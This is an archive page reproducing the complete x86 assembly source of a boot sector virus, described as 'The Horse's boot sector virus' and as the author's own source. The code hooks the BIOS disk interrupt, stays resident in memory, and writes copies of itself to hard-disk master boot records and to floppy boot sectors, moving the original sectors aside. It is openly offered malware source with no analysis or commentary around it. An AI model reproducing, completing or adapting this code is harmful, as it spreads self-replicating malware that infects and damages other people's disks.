home *** CD-ROM | disk | FTP | other *** search
- ;
- ; The Horse's boot sector virus
- ; This is an author's source
- ;
-
-
-
- .radix 16
- begin:
- jmp start
-
- my label word
-
- db 'IBM 3.3'
- dw 200
- db 2
- dw 1
- db 2
- dw 70
- dw 2d0
- db 0fdh
- dw 2
- dw 9
- dw 2
- dw 0
-
- lee label word
-
- virlen equ offset endcode-begin
-
- start:
- cld
- sub ax,ax
- mov ds,ax
- mov bp,7c00
- cli
- mov ss,ax
- mov sp,bp
- sti
- push ax
- push bp
- mov ax,[413]
- push [13*4+2]
- push [13*4]
- pop word ptr [old13h+7c00-100]
- pop word ptr [old13h+7c00-100+2]
- dec ax
- mov [413],ax
- mov cl,6
- shl ax,cl
- mov es,ax
-
- mov [13*4],offset int13h-100
- mov [13*4+2],es
-
- mov cx,virlen
- sub di,di
- mov si,bp
- rep movsb
- push es
- mov ax,offset here-begin
- push ax
- retf
- here:
- sub ax,ax
- mov es,ax
- int 13
- mov ax,0201
- mov bx,bp
- cmp byte ptr cs:[ident-100],0fdh
- je from_disk
- mov cx,0007
- mov dx,0080
- int 13
- jmp exit
-
- from_disk:
-
- mov cx,2709
- mov dx,0100
- int 13
- jc exit
- push cs
- push cs
- pop es
- pop ds
- mov ax,0201
- mov bx,0200
- mov cx,0001
- mov dx,0080
- int 13
- jc exit
- call inf?
- je exit
- mov byte ptr [ident-100],0f8
- mov ax,0301
- mov bx,0200
- mov cx,0007
- mov dx,0080
- int 13
- jc exit
- call move
- mov ax,0301
- sub bx,bx
- mov cx,0001
- int 13
- exit:
- mov byte ptr cs:[ident-100],0fdh
- retf
- int13h:
- push ds
- push ax
- cmp dl,1
- ja skip
- cmp ah,2
- jb skip
- cmp ah,3
- ja skip
- sub ax,ax
- mov ds,ax
- mov al,[43f]
- push dx
- and ax,3
- and dx,3
- inc dl
- test al,dl
- pop dx
- jne skip
- call infect
- skip:
- pop ax
- pop ds
- do:
- jmp dword ptr cs:[old13h-100]
-
- infected?:
-
- sub ax,ax
- call ojoj
- mov ax,0201
- mov bx,0200
- mov cx,0001
- sub dh,dh
- call ojoj
- inf?:
- mov si,offset start-100
- mov di,offset start-100+200
- mov cx,mbyte-start
- rep cmpsb
- return:
- ret
- infect:
- push bx
- push cx
- push dx
- push si
- push di
- push es
- push cs
- push cs
- pop es
- pop ds
- cld
- call infected?
- je leave
- mov ax,0301
- mov bx,0200
- mov cx,2709
- mov dh,1
- call ojoj
- jc leave
- call move
- mov ax,0301
- sub bx,bx
- mov cx,0001
- sub dh,dh
- call ojoj
- leave:
- pop es
- pop di
- pop si
- pop dx
- pop cx
- pop bx
- ret
-
- ojoj:
- pushf
- push cs
- call do
- ret
- move:
- mov di,offset my-100
- mov si,offset my-100+200
- mov cx,lee-my
- rep movsb
- mov di,offset usm-100
- mov si,offset usm-100+200
- mov cx,endcode-usm
- rep movsb
- ret
-
-
- mbyte label word
-
- old13h dd ?
- ident db 0fdh
-
- usm label word
-
- db 135d dup (?)
-
- db 55,0AA
-
- endcode label word
-